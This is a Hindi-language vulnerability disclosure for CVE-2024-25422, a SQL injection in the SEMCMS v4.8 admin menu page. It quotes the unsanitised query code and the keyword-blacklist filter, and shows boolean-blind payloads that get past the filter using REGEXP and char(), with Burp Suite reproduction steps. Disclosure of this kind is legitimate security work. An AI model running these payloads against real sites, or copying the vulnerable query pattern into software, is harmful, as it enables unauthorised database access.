
semcms में SQL इंजेक्शन मौजूद है (CVE-2024-25422)
Semcms का परिचय
SEMCMS एक विदेशी व्यापार वेबसाइट सामग्री प्रबंधन प्रणाली (CMS) है जो कई भाषाओं का समर्थन करती है।
v4.8 Download Link: http://www.sem-cms.com/TradeCmsdown/php/semcms_php_4.8.zip
कमजोरियों के कारण:
/xcR45q_Admin/SEMCMS_Menu.php पंक्ति 66
भेद्यता कोड:
<?php
} elseif ($type == "edit") {
$row = mysqli_fetch_array($db_conn->query("SELECT * FROM sc_menu WHERE ID=" . $_GET["ID"]));
?>
यह देखा जा सकता है कि यहाँ ID, GET के माध्यम से पैरामीटर पास करने पर एक SQL स्टेटमेंट निष्पादित करेगा
फ़िल्टर कोड: /Include/contorl. PHP
पंक्ति 151
function test_input($data) {
//$data = str_replace("%", "percent", $data);
$data = trim($data);
$data = stripslashes($data);
$data = htmlspecialchars($data,*ENT_QUOTES*);
return $data;
}
और 8वीं पंक्ति
function inject_check_sql($sql_str) {
return preg_match('/select|and|insert|=|%|<|between|update|\'|\*|union|into|load_file|outfile/i',$sql_str);
}
function verify_str($str) {
if(inject_check_sql($str)) {
exit('Sorry,You do this is wrong! (.-.)');
}
return $str;
}
उपरोक्त सामग्री को फ़िल्टर करके, हम एक पेलोड बना सकते हैं
-1%20or%20length(database())%20REGEXP%20char(94,53,36)
कमजोरियों का पुनरुत्पादन
एक वेबसाइट पर जाएँ
http://url/xcR45q_Admin/SEMCMS_Menu.php
Brupsuite पैकेट कैप्चर करें। नई साइट बनाते समय डेटाबेस नाम की लंबाई 5 होने के कारण, पेलोड इस प्रकार बनाया गया है:
-1%20or%20length(database())%20REGEXP%20char(94,53,36)
(निर्धारित करें कि डेटाबेस नाम की लंबाई 5 है या नहीं)
पेलोड डालकर इको देखें

इस समय पेलोड बदलें
-1%20or%20length(database())%20REGEXP%20char(94,54,36)
(निर्धारित करें कि डेटाबेस नाम की लंबाई 6 है या नहीं)
इस समय पेलोड बदलें

भविष्य में पृष्ठ में बदलावों के आधार पर SQL इंजेक्शन जारी रखा जा सकता है।